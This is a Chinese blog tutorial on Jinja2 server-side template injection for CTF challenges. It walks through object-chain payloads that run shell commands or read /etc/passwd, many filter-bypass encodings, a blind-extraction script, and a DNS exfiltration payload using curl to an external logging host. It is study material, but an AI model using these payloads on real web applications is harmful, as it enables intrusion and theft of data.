小言_互联网的博客

细说Jinja2之SSTI&bypass

390人阅读  评论(0)

 

 

前言

SSTI(Server-Side Template Injection)服务端模板注入在CTF中并不是一个新颖的考点了,之前略微学习过,但是最近的大小比赛比如说安洵杯,祥云杯,太湖杯,南邮CTF,上海大学生安全竞赛等等比赛都频频出现,而且赛后看到师傅们各种眼花缭乱的payload,无法知晓其中的原理,促使我写了这篇文章来总结各种bypass SSTI的方法。

 

本文涉及知识点实操练习-Flask服务端模板注入漏洞:通过该实验了解服务端模板注入漏洞的危害与利用。

点击下方链接或操作哦

https://www.hetianlab.com/expc.do?w=exp_ass&ec=ECID87ed-2223-40e5-8083-f5c55d69af28&pk_campaign=csdn-wemedia

 

基础知识

本篇文章从Flask的模板引擎Jinja2入手,CTF中大多数也都是使用这种模板引擎

模板的基本语法

官方文档对于模板的语法介绍如下


   
  1. {% ... %}  for Statements
  2. {{ ... }}  for Expressions to  print to the template output
  3. {# ... #}  for Comments not included in the template output
  4. #  ... ##  for Line Statements

这里我们逐条来看

  • {%%}

主要用来声明变量,也可以用于条件语句和循环语句。


   
  1. {% set c=  'kawhi' %}
  2. {%  if  81== 9* 9 %}kawhi{% endif %}
  3. {%  for i in [ '1', '2', '3'] %}kawhi{%endfor%}
  • { {}}

用于将表达式打印到模板输出,比如我们一般在里面输入2-12*2,或者是字符串,调用对象的方法,都会渲染出结果


   
  1. {{ 2 -1}} #输出 1
  2. {{ 2* 2}} #输出 4

我们通常会用{ {2*2}}简单测试页面是否存在SSTI

  • {##}

表示未包含在模板输出中的注释

  • ##

有和{%%}相同的效果

这里的模板注入主要用到的是{ {}}{%%}

常见的魔术方法

  • __class__

用于返回对象所属的类


   
  1. Python  3.7 .8
  2. >>>  ''.__class__
  3. <class  'str'>
  4. >>> ().__class__
  5. <class  'tuple'>
  6. >>> [].__class__
  7. <class  'list'>
  • __base__

以字符串的形式返回一个类所继承的类

  • __bases__

以元组的形式返回一个类所继承的类

  • __mro__

返回解析方法调用的顺序,按照子类到父类到父父类的顺序返回所有类


   
  1. Python  3.7 .8
  2. >>> class Father():
  3. ...     def __init__(self):
  4. ...             pass
  5. ...
  6. >>> class GrandFather():
  7. ...     def __init__(self):
  8. ...             pass
  9. ...
  10. >>> class son(Father,GrandFather):
  11. ...     pass
  12. ...
  13. >>>  print(son.__base__)
  14. <class  '__main__.Father'>
  15. >>>  print(son.__bases__)
  16. (<class  '__main__.Father'>, <class  '__main__.GrandFather'>)
  17. >>>  print(son.__mro__)
  18. (<class  '__main__.son'>, <class  '__main__.Father'>, <class  '__main__.GrandFather'>, <class  'object'>)
  • __subclasses__()

获取类的所有子类

  • __init__

所有自带带类都包含init方法,常用他当跳板来调用globals

  • __globals__

会以字典类型返回当前位置的全部模块,方法和全局变量,用于配合init使用

漏洞成因与防御

存在模板注入漏洞原因有二,一是存在用户输入变量可控,二是了使用不固定的模板,这里简单给出一个存在SSTI的代码如下

ssti.py


   
  1. from flask  import Flask,request,render_template_string
  2. app = Flask(__name__)
  3. @app.route( '/', methods=[ 'GET''POST'])
  4. def index():
  5.     name = request.args.get( 'name')
  6.     template =  '' '
  7. <html>
  8.   <head>
  9.     <title>SSTI</title>
  10.   </head>
  11.  <body>
  12.       <h3>Hello, %s !</h3>
  13.   </body>
  14. </html>
  15.         ' ''% (name)
  16.      return render_template_string(template)
  17. if __name__ ==  "__main__":
  18.     app.run(host= "0.0.0.0", port= 5000, debug=True)

我们简单输入一个{ {2-1}},返回了1,说明存在模板注入

 

而如果存在SSTI的话,我们就可以利用上面的魔术方法去构造可以读文件或者直接getshell的漏洞

如何拒绝这种漏洞呢,其实很简单只需要使用固定的模板即可,正确的代码应该如下

ssti2.py

index.html

可以看到原封不动的输出了{ {2-1}}

 

构造链思路

这里从零开始介绍如何去构造SSTI漏洞的payload,可以用上面存在SSTI漏洞的ssti.py做实验

  • 第一步

目的:使用__class__来获取内置类所对应的类

可以通过使用strlisttupledict等来获取

  • 第二步

目的:拿到object基类

__bases__[0]拿到基类


  
  1. Python  3.7 .8
  2. >>>  ''.__class__.__bases__[ 0]
  3. <class  'object'>

__base__拿到基类


  
  1. Python  3.7 .8
  2. >>>  ''.__class__.__base__
  3. <class  'object'>

__mro__[1]或者__mro__[-1]拿到基类


  
  1. Python  3.7 .8
  2. >>>  ''.__class__.__mro__[ 1]
  3. <class  'object'>
  4. >>>  ''.__class__.__mro__[ -1]
  5. <class  'object'>
  • 第三步

__subclasses__()拿到子类列表


  
  1. Python  3.7 .8
  2. >>>  ''.__class__.__bases__[ 0].__subclasses__()
  3. ...一大堆的子类
  • 第四步

在子类列表中找到可以getshell的类

寻找利用类

在上述的第四步中,如何快速的寻找利用类呢

利用脚本跑索引

我们一般来说是先知晓一些可以getshell的类,然后再去跑这些类的索引,然后这里先讲述如何去跑索引,再详写可以getshell的类

这里先给出一个在本地遍历的脚本,原理是先遍历所有子类,然后再遍历子类的方法的所引用的东西,来搜索是否调用了我们所需要的方法,这里以popen为例子

find.py

我们运行这个脚本


  
  1. λ python3 find.py
  2. <class  'os._wrap_close'128

可以发现object基类的第128个子类名为os._wrap_close的这个类有popen方法

先调用它的__init__方法进行初始化类


  
  1. Python  3.7 .8
  2. >>>  "".__class__.__bases__[ 0].__subclasses__()[ 128].__init__
  3. <function _wrap_close.__init__ at  0x000001FCD0B21E58>

再调用__globals__可以获取到方法内以字典的形式返回的方法、属性等值


  
  1. Python  3.7 .8
  2. >>>  "".__class__.__bases__[ 0].__subclasses__()[ 128].__init__.__globals__
  3. { '__name__''os'...中间省略...<class  'os.PathLike'>}

然后就可以调用其中的popen来执行命令


  
  1. Python  3.7 .8
  2. >>>  "".__class__.__bases__[ 0].__subclasses__()[ 128].__init__.__globals__[ 'popen']( 'whoami').read()
  3. 'desktop-t6u2ptl\\think\n'

但是上面的方法仅限于在本地寻找,因为在做CTF题目的时候,我们无法在题目环境中运行这个find.py,这里用hhhm师傅的一个脚本直接去寻找子类

我们首先把所有的子类列举出来


  
  1. Python  3.7 .8
  2. >>> ().__class__.__bases__[ 0].__subclasses__()
  3. ...一大堆的子类

然后把子类列表放进下面脚本中的a中,然后寻找os._wrap_close这个类

find2.py


  
  1. import json
  2. a =  "" "
  3. <class 'type'>,...,<class 'subprocess.Popen'>
  4. " ""
  5. num =  0
  6. allList = []
  7. result =  ""
  8. for i in a:
  9.      if i ==  ">":
  10.         result += i
  11.         allList. append(result)
  12.         result =  ""
  13.     elif i ==  "\n" or i ==  ",":
  14.          continue
  15.      else:
  16.         result += i
  17.         
  18. for k,v in enumerate(allList):
  19.      if  "os._wrap_close" in v:
  20.          print(str(k)+ "--->"+v)

 

又或者用如下的requests脚本去跑

find3.py

tips:后面的各种方法都是利用这种思路寻找到可以getshell类的位置

python3的方法

  • os._wrap_close类中的popen

在上面的例子中就是用的这个方法,payload如下

{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
  • __import__中的os

把上面find.py脚本中的search变量换成__import__

可以看到有5个类下是包含__import__的,随便用一个即可

payload如下

{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}

python2的方法

因为python3和python2两个版本下有差别,这里把python2单独拿出来说

tips:python2的string类型不直接从属于属于基类,所以要用两次 __bases__[0]

  • file类读写文件

本方法只能适用于python2,因为在python3中file类已经被移除了

可以使用dir查看file对象中的内置方法


  
  1. >>> dir(().__class__.__bases__[ 0].__subclasses__()[ 40])
  2. [ '__class__''__delattr__''__doc__''__enter__''__exit__''__format__''__getattribute__''__hash__''__init__''__iter__''__new__''__reduce__''__reduce_ex__''__repr__''__setattr__''__sizeof__''__str__''__subclasshook__''close''closed''encoding''errors''fileno''flush''isatty''mode''name''newlines''next''read''readinto''readline''readlines''seek''softspace''tell''truncate''write''writelines''xreadlines']

然后直接调用里面的方法即可,payload如下

读文件


  
  1. {{().__class__.__bases__[ 0].__subclasses__()[ 40]( '/etc/passwd').read()}}
  2. {{().__class__.__bases__[ 0].__subclasses__()[ 40]( '/etc/passwd').readlines()}}
  • warnings类中的linecache

本方法只能用于python2,因为在python3中会报错'function object' has no attribute 'func_globals',猜测应该是python3中func_globals被移除了还是啥的,如果不对请师傅们指出

我们把上面的find.py脚本中的search变量赋值为linecache,去寻找含有linecache的类


  
  1. λ python find.py
  2. (<class  'warnings.WarningMessage'>,  59)
  3. (<class  'warnings.catch_warnings'>,  60)

后面如法炮制,payload如下

{{[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].os.popen('whoami').read()}}

python2&3的方法

这里介绍python2和python3两个版本通用的方法

  • __builtins__代码执行

这种方法是比较常用的,因为他两种python版本都适用

首先__builtins__是一个包含了大量内置函数的一个模块,我们平时用python的时候之所以可以直接使用一些函数比如absmax,就是因为__builtins__这类模块在Python启动时为我们导入了,可以使用dir(__builtins__)来查看调用方法的列表,然后可以发现__builtins__下有eval__import__等的函数,因此可以利用此来执行命令。

把上面find.py脚本search变量赋值为__builtins__,然后找到第140个类warnings.catch_warnings含有他,而且这里的话比较多的类都含有__builtins__,比如常用的还有email.header._ValueFormatter等等,这也可能是为什么这种方法比较多人用的原因之一吧

再调用eval等函数和方法即可,payload如下


  
  1. {{().__class__.__bases__[ 0].__subclasses__()[ 140].__init__.__globals__[ '__builtins__'][ 'eval']( "__import__('os').system('whoami')")}}
  2. {{().__class__.__bases__[ 0].__subclasses__()[ 140].__init__.__globals__[ '__builtins__'][ 'eval']( "__import__('os').popen('whoami').read()")}}
  3. {{().__class__.__bases__[ 0].__subclasses__()[ 140].__init__.__globals__[ '__builtins__'][ '__import__']( 'os').popen( 'whoami').read()}}
  4. {{().__class__.__bases__[ 0].__subclasses__()[ 140].__init__.__globals__[ '__builtins__'][ 'open']( '/etc/passwd').read()}}

又或者用如下两种方式,用模板来跑循环

{% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}

  
  1. {%  for c in [].__class__.__base__.__subclasses__() %}
  2. {%  if c.__name__ ==  'catch_warnings' %}
  3.   {%  for b in c.__init__.__globals__.values() %}
  4.   {%  if b.__class__ == {}.__class__ %}
  5.     {%  if  'eval' in b.keys() %}
  6.       {{ b[ 'eval']( '__import__("os").popen("whoami").read()') }}
  7.     {% endif %}
  8.   {% endif %}
  9.   {% endfor %}
  10. {% endif %}
  11. {% endfor %}

 

读取文件payload

{% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename''r').read() }}{% endif %}{% endfor %}

然后这里再提一个比较少人提到的点

warnings.catch_warnings类在在内部定义了_module=sys.modules['warnings'],然后warnings模块包含有__builtins__,也就是说如果可以找到warnings.catch_warnings类,则可以不使用globals,payload如下

{{''.__class__.__mro__[1].__subclasses__()[40]()._module.__builtins__['__import__']("os").popen('whoami').read()}}

总而言之,原理都是先找到含有__builtins__的类,然后再进一步利用

  • subprocess.Popen进行RCE

我们可以用find2.py寻找subprocess.Popen这个类,可以直接RCE,payload如下

{{''.__class__.__mro__[2].__subclasses__()[258]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
  • 直接利用os

一开始我以为这种方法只能用于python2,因为我在本地实验的时候python3中无法找到直接含有os的类,但后来发现python3其实也是能够用的,主要是环境里面有这个那个类才行

我们把上面的find.py脚本中的search变量赋值为os,去寻找含有os的类


  
  1. λ python find.py
  2. (<class  'site._Printer'>,  69)
  3. (<class  'site.Quitter'>,  74)

后面如法炮制,payload如下

{{().__class__.__base__.__subclasses__()[69].__init__.__globals__['os'].popen('whoami').read()}}

获取配置信息

我们有时候可以使用flask的内置函数比如说url_forget_flashed_messages,甚至是内置的对象request来查询配置信息或者是构造payload

  • config

我们通常会用{ {config}}查询配置信息,如果题目有设置类似app.config ['FLAG'] = os.environ.pop('FLAG'),就可以直接访问{ {config['FLAG']}}或者{ {config.FLAG}}获得flag

  • request

jinja2中存在对象request


  
  1. Python  3.7 .8
  2. >>> from flask  import Flask,request,render_template_string
  3. >>> request.__class__.__mro__[ 1]
  4. <class  'object'>

查询一些配置信息

{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config}}

构造ssti的payload


  
  1. {{request.__init__.__globals__[ '__builtins__'].open( '/etc/passwd').read()}}
  2. {{request.application.__globals__[ '__builtins__'].open( '/etc/passwd').read()}}
  • url_for

查询配置信息

{{url_for.__globals__['current_app'].config}}

构造ssti的payload

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
  • get_flashed_messages

查询配置信息

{{get_flashed_messages.__globals__['current_app'].config}}

构造ssti的payload

{{get_flashed_messages.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}

绕过黑名单

CTF中一般考的就是怎么绕过SSTI,我们学会如何去构造payload之后,还要学习如何去绕过一些过滤,然后下面由于环境的不同,payload中类的位置也是就那个数字可能会和文章中不一样,需要自己动手测一下

过滤了点

过滤了.

在python中,可用以下表示法可用于访问对象的属性


  
  1. {{().__class__}}
  2. {{()[ "__class__"]}}
  3. {{()|attr( "__class__")}}
  4. {{getattr( '', "__class__")}}

也就是说我们可以通过[]attr()getattr()来绕过点

  • 使用[]绕过

使用访问字典的方式来访问函数或者类等,下面两行是等价的


  
  1. {{().__class__}}
  2. {{()[ '__class__']}}

以此,我们可以构造payload如下

{{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}
  • 使用attr()绕过

使用原生JinJa2的函数attr(),以下两行是等价的


  
  1. {{().__class__}}
  2. {{()|attr( '__class__')}}

以此,我们可以构造payload如下

{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}
  • 使用getattr()绕过

这种方法有时候由于环境问题不一定可行,会报错'getattr' is undefined,所以优先使用以上两种


  
  1. Python  3.7 .8
  2. >>> ().__class__
  3. <class  'tuple'>
  4. >>> getattr((), "__class__")
  5. <class  'tuple'>

过滤引号

过滤了'"

  • request绕过

flask中存在着request内置对象可以得到请求的信息,request可以用5种不同的方式来请求信息,我们可以利用他来传递参数绕过


  
  1. request.args.name
  2. request.cookies.name
  3. request.headers.name
  4. request.values.name
  5. request.form.name

payload如下

GET方式,利用request.args传递参数

{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd

POST方式,利用request.values传递参数


  
  1. {{().__class__.__bases__[ 0].__subclasses__()[ 40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
  2. post:arg1=open&arg2=/etc/passwd

Cookie方式,利用request.cookies传递参数


  
  1. {{().__class__.__bases__[ 0].__subclasses__()[ 40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
  2. Cookie:arg1=open;arg2=/etc/passwd

剩下两种方法也差不多,这里就不赘述了

  • chr绕过

{{().__class__.__base__.__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}

这里先爆破subclasses,获取subclasses中含有chr的类索引

然后就可以用chr来绕过传参时所需要的引号,然后需要用chr来构造需要的字符

这里我写了个脚本可以快速构造想要的ascii字符


  
  1. <?php
  2. $a =  'whoami';
  3. $result =  '';
  4. for($i= 0;$i<strlen($a);$i++)
  5. {
  6.  $result .=  'chr('.ord($a[$i]). ')%2b';
  7. }
  8. echo substr($result, 0, -3);
  9. ?>
  10. //chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)

最后payload如下

{% set chr = ().__class__.__base__.__subclasses__()[7].__init__.__globals__.__builtins__.chr %}{{().__class__.__base__.__subclasses__()[257].__init__.__globals__.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read()}}

过滤下划线

过滤了_

  • 编码绕过

使用十六进制编码绕过,_编码后为\x5f.编码后为\x2E

payload如下

{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[376]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('whoami')['read']()}}

这里甚至可以全十六进制绕过,顺便把关键字也一起绕过,这里先给出个python脚本方便转换


  
  1. string1= "__class__"
  2. string2= "\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
  3. def tohex( string):
  4.   result =  ""
  5.    for i in  range( len( string)):
  6.       result=result+ "\\x"+hex(ord( string[i]))[ 2:]
  7.    print(result)
  8. tohex(string1) #\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f
  9. print(string2) #__class__

随便构造个payload如下

{{""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[64]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"]["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f"]("\x6f\x73")["\x70\x6f\x70\x65\x6e"]("whoami")["\x72\x65\x61\x64"]()}}
  • request绕过

在上面的过滤引号已经介绍过了,这里不再赘述

过滤关键字

首先要看关键字是如何被过滤的

如果是替换为空,可以尝试双写绕过,或者使用黑名单逻辑漏洞错误绕过,即使用黑名单最后一个关键字替换绕过

如果直接ban了,就可以使用字符串拼接的方式等方法进行绕过,常用方法如下

  • 拼接字符绕过

这里以过滤class为例子,用中括号括起来然后里面用引号连接,可以用+号或者不用


  
  1. {{()[ '__cla'+ 'ss__'].__bases__[ 0]}}
  2. {{()[ '__cla' 'ss__'].__bases__[ 0]}}

随便写个payload如下

{{()['__cla''ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev''al']("__im""port__('o''s').po""pen('whoami').read()")}}

或者可以使用join来进行拼接

{{()|attr(["_"*2,"cla","ss","_"*2]|join)}}

看到有师傅甚至用管道符加上format方法来拼接的骚操作,也就是我们平时说的格式化字符串,其中的%sl替换

{{()|attr(request.args.f|format(request.args.a))}}&f=__c%sass__&a=l
  • 使用使用str原生函数

replace绕过,payload如下

{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}

decode绕过,但这种方法经过测试只能在python2下使用,payload如下

{{().__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
  • 替代的方法

过滤init,可以用__enter____exit__替代


  
  1. {{().__class__.__bases__[ 0].__subclasses__()[ 213].__enter__.__globals__[ '__builtins__'][ 'open']( '/etc/passwd').read()}}
  2. {{().__class__.__bases__[ 0].__subclasses__()[ 213].__exit__.__globals__[ '__builtins__'][ 'open']( '/etc/passwd').read()}}

过滤config,我们通常会用{ {config}}获取当前设置,如果被过滤了可以使用以下的payload绕过


  
  1. {{self}} ⇒ <TemplateReference None>
  2. {{self.__dict__._TemplateReference__context}}

过滤中括号

过滤了[]

  • 数字中的中括号

在python里面可以使用以下方法访问数组元素


  
  1. Python  3.7 .8
  2. >>> [ "a", "kawhi", "c"][ 1]
  3. 'kawhi'
  4. >>> [ "a", "kawhi", "c"].pop( 1)
  5. 'kawhi'
  6. >>> [ "a", "kawhi", "c"].__getitem__( 1)
  7. 'kawhi'

也就是说可以使用__getitem__pop替代中括号,取列表的第n位

payload如下


  
  1. {{().__class__.__bases__.__getitem__( 0).__subclasses__().__getitem__( 433).__init__.__globals__.popen( 'whoami').read()}
  2. {{().__class__.__base__.__subclasses__().pop( 433).__init__.__globals__.popen( 'whoami').read()}}
  • 魔术方法的中括号

调用魔术方法本来是不用中括号的,但是如果过滤了关键字,要进行拼接的话就不可避免要用到中括号,像这里如果同时过滤了class和中括号

可用__getattribute__绕过

{{"".__getattribute__("__cla"+"ss__").__base__}}

或者可以配合request一起使用

{{().__getattribute__(request.args.arg1).__base__}}&arg1=__class__

payload如下

{{().__getattribute__(request.args.arg1).__base__.__subclasses__().pop(376).__init__.__globals__.popen(request.args.arg2).read()}}&arg1=__class__&arg2=whoami

这种同样是绕过关键字的方法之一

过滤双大括号

过滤了{ { }}

  • 使用dns外带数据

{%%}替代了{ {}},使用判断语句进行dns外带数据

{% if ().__class__.__base__.__subclasses__()[433].__init__.__globals__['popen']("curl `whoami`.k1o75b.ceye.io").read()=='kawhi' %}1{% endif %}

然后在ceye平台接收数据即可

  • 盲注

如果上面的方法不行的话,可以考虑使用盲注的方式,这里附上p0师傅的脚本


  
  1. # -*- coding: utf -8 -*-
  2. import requests
  3. url =  'http://ip:5000/?name='
  4. def check(payload):
  5.     r = requests.get(url+payload).content
  6.      return  'kawhi' in r
  7. password  =  ''
  8. s = r '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'
  9. for i in xrange( 0, 100):
  10.      for c in s:
  11.         payload =  '{% if ().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__.open("/etc/passwd").read()['+str(i)+ ':'+str(i+ 1)+ '] == "'+c+ '" %}kawhi{% endif %}'
  12.          if check(payload):
  13.             password += c
  14.              break
  15.      print password
  • print标记

我们上面之所以要dnslog外带数据以及使用盲注,是因为用{%%}会没有回显,这里的话可以使用print来做一个标记使得他有回显,比如{%print config%},payload如下

{%print ().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")%}

payload进阶与拓展

这里我基于上面绕过黑名单各种方法的组合,对CTF中用到的一些方法和payload再做一个小的总结,不过其实一般来说,只要不是太偏太绕的题,上面的方法自行组合一下都够用了,下面只是作为一个拓展

过滤_.'

这里顺便给一个不常见的方法,主要是找到_frozen_importlib_external.FileLoaderget_data()方法,第一个是参数0,第二个为要读取的文件名,payload如下

{{().__class__.__bases__[0].__subclasses__()[222].get_data(0,"app.py")}}

使用十六进制绕过后,payload如下

{{()["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[222]["get\x5Fdata"](0"app\x2Epy")}}

过滤args._

之前某二月赛在y1ng师傅博客看到的一个payload,原理并不难,这里使用了attr()绕过点,values绕过args,payload如下


  
  1. {{()|attr(request[ 'values'][ 'x1'])|attr(request[ 'values'][ 'x2'])|attr(request[ 'values'][ 'x3'])()|attr(request[ 'values'][ 'x4'])( 40)|attr(request[ 'values'][ 'x5'])|attr(request[ 'values'][ 'x6'])|attr(request[ 'values'][ 'x4'])(request[ 'values'][ 'x7'])|attr(request[ 'values'][ 'x4'])(request[ 'values'][ 'x8'])(request[ 'values'][ 'x9'])}}
  2. post:x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__( "os").popen( 'whoami').read()

导入主函数读取变量

有一些题目我们不并需要去getshell,比如flag直接暴露在变量里面了,像如下这样把/flag文件加载到flag这个变量里面了


  
  1. f = open( '/flag', 'r')
  2. flag = f.read()

我们就可以通过import是导入__main__主函数去读变量,payload如下

{%print request.application.__globals__.__getitem__('__builtins__').__getitem__('__import__')('__main__').flag %}

Unicode绕过

这种方法是从安洵杯2020 官方Writeup学到的,我们直奔主题看payload

{%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22))|attr(%22\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f%22)(%22os%22)|attr(%22popen%22)(%22whoami%22)|attr(%22read%22)()%}

这里的print绕过{ {}}attr绕过.上面已经说过了这里不赘述

然后这里的lipsum{ {lipsum}}测了一下发现是个方法

<function generate_lorem_ipsum at 0x7fcddfa296a8>

然后用他直接调用__globals__发现可以直接执行os命令,测了一下发现__builtins__也可以用,又学到了一种新方法,只能说师傅们tql


  
  1. {{lipsum.__globals__[ 'os'].popen( 'whoami').read()}}
  2. {{lipsum.__globals__[ '__builtins__'][ 'eval']( "__import__('os').popen('whoami').read()")}}

回到正题,这里使用了Unicode编码绕过关键字,下面两行是等价的


  
  1. {{()|attr( "__class__")}}
  2. {{()|attr( "\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")}}

知道了这两点之后,那个官方给的payload就很明朗了,解开编码后如下

{%print(lipsum|attr("__globals__"))|attr("__getitem__")("os")|attr("popen")("whoami")|attr("read")()%}

然后我这里顺便给个Unicode互转的php脚本


  
  1. <?php
  2. //字符串转Unicode编码
  3. function unicode_encode($strLong) {
  4.   $strArr = preg_split( '/(?<!^)(?!$)/u', $strLong); //拆分字符串为数组(含中文字符)
  5.   $resUnicode =  '';
  6.   foreach ($strArr as $str)
  7.   {
  8.       $bin_str =  '';
  9.       $arr = is_array($str) ? $str : str_split($str); //获取字符内部数组表示,此时$arr应类似array(228, 189, 160)
  10.       foreach ($arr as $value)
  11.       {
  12.           $bin_str .= decbin(ord($value)); //转成数字再转成二进制字符串,$bin_str应类似111001001011110110100000,如果是汉字"你"
  13.       }
  14.       $bin_str = preg_replace( '/^.{4}(.{4}).{2}(.{6}).{2}(.{6})$/''$1$2$3', $bin_str); //正则截取, $bin_str应类似0100111101100000,如果是汉字"你"
  15.       $unicode = dechex(bindec($bin_str)); //返回unicode十六进制
  16.       $_sup =  '';
  17.        for ($i =  0; $i <  4 - strlen($unicode); $i++)
  18.       {
  19.           $_sup .=  '0'; //补位高字节 0
  20.       }
  21.       $str =   '\\u' . $_sup . $unicode;  //加上 \u  返回
  22.       $resUnicode .= $str;
  23.   }
  24.    return $resUnicode;
  25. }
  26. //Unicode编码转字符串方法1
  27. function unicode_decode($name)
  28. {
  29.    // 转换编码,将Unicode编码转换成可以浏览的utf-8编码
  30.   $pattern =  '/([\w]+)|(\\\u([\w]{4}))/i';
  31.   preg_match_all($pattern, $name, $matches);
  32.    if (!empty($matches))
  33.   {
  34.     $name =  '';
  35.      for ($j =  0; $j < count($matches[ 0]); $j++)
  36.     {
  37.       $str = $matches[ 0][$j];
  38.        if (strpos($str,  '\\u') ===  0)
  39.       {
  40.         $code = base_convert(substr($str,  22),  1610);
  41.         $code2 = base_convert(substr($str,  4),  1610);
  42.         $c = chr($code).chr($code2);
  43.         $c = iconv( 'UCS-2''UTF-8', $c);
  44.         $name .= $c;
  45.       }
  46.        else
  47.       {
  48.         $name .= $str;
  49.       }
  50.     }
  51.   }
  52.    return $name;
  53. }
  54. //Unicode编码转字符串
  55. function unicode_decode2($str){
  56.   $json =  '{"str":"' . $str .  '"}';
  57.   $arr = json_decode($json,  true);
  58.    if (empty($arr))  return  '';
  59.    return $arr[ 'str'];
  60. }
  61. echo unicode_encode( '__class__');
  62. echo unicode_decode( '\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f');
  63. //\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f__class__

魔改字符

这种方法是在太湖杯easyWeb这道题目学到的,上面所说的过滤双大括号,在一些特定的题目可以魔改{ {}},比如说这道题由于有个字符规范器可以把我们输入的文本标准化,所以可以使用这种方法

可以在Unicode字符网站寻找绕过的字符,直接在网址搜索{ ,就会出现类似的字符,就可以找到了,网址:https://www.compart.com/en/unicode/U+FE38

payload如下


  
  1. ︷︷config︸︸
  2. %EF%B8%B7%EF%B8%B7config%EF%B8%B8%EF%B8%B8

还可以使用中文的字符魔改


  
  1. { &# 65371;
  2. } &# 65373;
  3. [ &# 65339;
  4. ] &# 65341;
  5. ' &# 65287;
  6. " &# 65282;

payload如下

{{url_for.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}} 

总结

因为水平和文章篇幅有限,可能还有一些bypass方法没有提到,还有就是CTF中也不只考Jinja2这种模板,还有另外的Twig模板,smart等模板,这些就等以后有必要再更吧,最后就是有不足之处请各位师傅指出

参考链接


  
  1. https: //p0sec.net/index.php/archives/120/
  2. https: //www.jianshu.com/p/a736e39c3510
  3. https: //www.redmango.top/article/43
  4. https: //xz.aliyun.com/t/8029
  5. https: //xz.aliyun.com/t/7746

 


转载:https://blog.csdn.net/qq_38154820/article/details/111399386
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场